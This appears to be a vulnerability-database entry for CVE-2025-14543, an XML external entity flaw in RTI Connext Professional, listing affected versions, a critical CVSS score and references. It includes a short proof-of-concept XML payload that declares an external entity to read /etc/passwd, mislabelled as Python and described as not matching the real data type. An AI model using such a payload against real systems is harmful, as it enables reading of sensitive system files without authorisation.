CVE-2025-14543

Description

Improper Restriction of XML External Entity Reference vulnerability in Connext Professional (Core Libraries) allows Serialized Data External Linking.This issue affects Connext Professional: from 7.4.0 before 7.7.0, from 7.0.0 before 7.3.1.1, from 6.1.0 before 6.1.*, from 6.0.0 before 6.0.*, from 5.3.0 before 5.3.*, from 4.3x before 5.2.*.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:rti:connext_professional:*:*:*:*:*:*:*:* - VULNERABLE

Connext Professional 7.4.0 至 7.7.0 之前

Connext Professional 7.0.0 至 7.3.1.1 之前

Connext Professional 6.1.0 至 6.1.* 之前

Connext Professional 6.0.0 至 6.0.* 之前

Connext Professional 5.3.0 至 5.3.* 之前

Connext Professional 4.3x 至 5.2.* 之前

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?xml version="1.0" encoding="UTF-8"?>
<!-- Proof of Concept for XXE in RTI Connext Professional -->
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
    <item>&xxe;</item>
</data>
<!-- Note: The actual payload structure depends on the specific DDS data type used -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14543
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14543
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14543/
[4] VulDB https://vuldb.com/cve/CVE-2025-14543
[5] https://www.rti.com/vulnerabilities/#cve-2025-14543

Raw JSON Data

JSON

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